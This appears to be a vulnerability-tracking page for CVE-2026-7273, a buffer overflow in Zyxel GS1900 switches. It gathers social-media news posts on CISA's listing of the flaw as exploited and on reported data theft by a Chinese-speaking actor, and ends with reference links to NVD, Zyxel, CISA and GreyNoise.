    米当局、複数ネットワーク関連製品の脆弱性悪用に注意喚起 米当局は、複数のネットワーク関連製品における脆弱性が、サイバー攻撃に悪用されているとして注意喚起を行った。 米サイバーセキュリティインフラストラクチャセキュリティ庁（CISA）は現地時間2026年9月21日、22日にあわせて5件の脆弱性を「悪用が確認された脆弱性カタログ（KEV）」へ追加した。 同月21日にはZyxel製のスイッチ「GS1900シリーズ」に確認された脆弱性「CVE-2026-7273」をあらたに登録。…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-19 13:03 UTC
    中国のハッカーが最近、ZyXELスイッチの脆弱性を悪用した。 脅威インテリジェンス企業のGreyNoiseは、中国の脅威アクターが、機密情報の漏洩を目的として、世界中で脆弱なZyXEL GS1900スイッチを標的にしていると警告している。 CVE-2026-7273（CVSSスコア8.8）として追跡されているこのセキュリティ上の欠陥は、スタックベースのバッファオーバーフローであり、認証なしで細工されたHTTPリクエストを介してOSコマンドを実行するために悪用される可能性があ…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-19 13:03 UTC
    CISA Adds One Known Exploited Vulnerability to Catalog Release Date September 21, 2026 CVE-2026-7273 Zyxel GS1900 Series Switches Stack-Based Buffer Overflow Vulnerability
    Open source
  • social bsky.app @pmloik.bsky.social 2026-10-19 06:44 UTC
    Top 3 CVE for last 7 days: CVE-2026-99999: 155 interactions CVE-2026-94603: 148 interactions CVE-2026-102764: 75 interactions Top 3 CVE for yesterday: CVE-2026-99999: 33 interactions CVE-2026-7273: 6 interactions CVE-2026-109894: 5 interac…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-18 20:08 UTC
    米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）が、既知の悪用された脆弱性リストにZyxelの脆弱性を追加 米国のサイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA） は、Zyxel GS1900シリーズスイッチの脆弱性（CVE-2026-7273、CVSSスコア8.8）を既知の悪用された脆弱性（KEV）カタログに追加しました。 この脆弱性はスタックベースのバッファオーバーフローであり、攻撃者が任意のオペレーティングシステムコマンドを…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-18 20:05 UTC
    CISAは、データ窃盗に悪用されたZyxelの脆弱性を修正するよう連邦政府に命令した。 米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）によると、攻撃者は現在、Zyxel GS1900シリーズスイッチに存在する深刻な脆弱性を積極的に悪用している。 この脆弱性（ CVE-2026-7273として追跡）は、CGIプログラムにおけるスタックベースのバッファオーバーフローに起因するもので、ローカルエリアネットワーク（LAN）上で権限を持たない攻撃者が、悪意を…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-18 20:04 UTC
    CISAは、Zyxel GS1900スイッチの脆弱性が悪用されたことを報告した。 米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は、Zyxel GS1900シリーズスイッチに影響を与える重大度の高い脆弱性を、既知の悪用された脆弱性（KEV）カタログに追加しました。 この警告は、 CVE-2026-7273として追跡されている脆弱性が実際に悪用されていることを示しています。この脆弱性は、デバイスのCGIプログラムにおけるスタックベースのバッファオーバ…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-18 20:03 UTC
    コマンドおよびSYSTEMアクセスによるZyxelおよびVeeamの脆弱性の悪用 米国のサイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は月曜日、Zyxel GS1900シリーズスイッチに影響を与える、既に修正済みのセキュリティ上の欠陥を、既知の悪用事例（KEV ）カタログに追加した。これは、実際に悪用されている証拠があるためだ。 CVE-2026-7273（CVSSスコア：8.8）として追跡されているこの脆弱性は、スタックベースのバッファオーバーフロー…
    Open source
  • social bsky.app @aiuto-ch.bsky.social 2026-10-12 14:04 UTC
    CISA KEV | CVE-2026-7273 | Zyxel / GS1900 Series Switches CISA lists this vulnerability as exploited in the wild. Check affected products and vendor guidance. Source: CISA KEV Full analysis: https://t.me/aiutocomputerhelp_lab/1080
    Open source
  • social bsky.app @cyberveille-ch.bsky.social 2026-09-28 20:00 UTC
    📢 Exploitation active de CVE-2026-7273 sur switches Zyxel GS1900 par un acteur sinophone Help Net Security, publié le 22 septembre 2026. L'article rapporte les conclusions de GreyNoise concernant l'exploitation active d'une… 🟢 vérification…
    Open source
  • social bsky.app @pmloik.bsky.social 2026-09-25 06:33 UTC
    Top 3 CVE for last 7 days: CVE-2026-86296: 25 interactions CVE-2026-7273: 20 interactions CVE-2026-87902: 20 interactions Top 3 CVE for yesterday: CVE-2026-87902: 11 interactions CVE-2026-94127: 9 interactions CVE-2026-21962: 5 interactions
    Open source
  • social bsky.app @pmloik.bsky.social 2026-09-24 06:41 UTC
    Top 3 CVE for last 7 days: CVE-2026-86296: 25 interactions CVE-2026-7273: 20 interactions CVE-2026-58704: 17 interactions Top 3 CVE for yesterday: CVE-2026-94127: 10 interactions CVE-2026-69836: 7 interactions CVE-2026-87902: 7 interactions
    Open source
  • social bsky.app @cysecuritynews.bsky.social 2026-09-23 12:43 UTC
    Chinese Hackers Exploit ZyXEL Switch Flaw to Steal Data From Nearly 1,000 Devices #ChineseHackers #CriticalFlaws #DataBreach
    Open source
  • social bsky.app @0daynews.bsky.social 2026-09-23 10:45 UTC
    CISA KEV: Zyxel GS1900 CVE-2026-7273 and Veeam Agent CVE-2026-32996 both under active exploitation. Patches available for both… https://0daynews.com/articles/2026-09-22-zyxel-veeam-kev-active-exploitation/?utm_source=bluesky&utm_medium=org…
    Open source
  • social bsky.app @pvynckier.bsky.social 2026-09-23 07:18 UTC
    Zyxel and Veeam Flaws Under Active Exploitation With Command and SYSTEM Access thehackernews.com/2026/09/zyxe...
    Open source
  • social bsky.app @pmloik.bsky.social 2026-09-23 06:36 UTC
    Top 3 CVE for last 7 days: CVE-2026-86296: 24 interactions CVE-2026-76460: 23 interactions CVE-2026-58704: 21 interactions Top 3 CVE for yesterday: CVE-2026-86296: 24 interactions CVE-2026-7273: 20 interactions CVE-2026-93952: 11 interacti…
    Open source
  • social bsky.app @hacker.at.thenote.app 2026-09-23 04:43 UTC
    Attacker compromised nearly 1000 Zyxel switches since August (CVE-2026-7273) A Chinese-speaking threat actor has exploited a vulnerability (CVE-2026-7273) in unpatched ZyXEL GS1900 Smart Managed Switches and has exfiltrated sensitive data…
    Open source
  • social bsky.app @hacker.at.thenote.app 2026-09-23 03:41 UTC
    U.S. CISA adds Zyxel flaw to its Known Exploited Vulnerabilities catalog U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Zyxel flaw to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure…
    Open source

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-7273
zyxel.com
GitHub CVE vendor-advisory
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-stack-based-buffer-overflow-vulnerability-in-gs1900-series-switches-06-16-2026
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-7273
greynoise.io
NVD API
https://www.greynoise.io/blog/open-season-on-kapibala-attacker-steals-government-records-wordpress-exploitation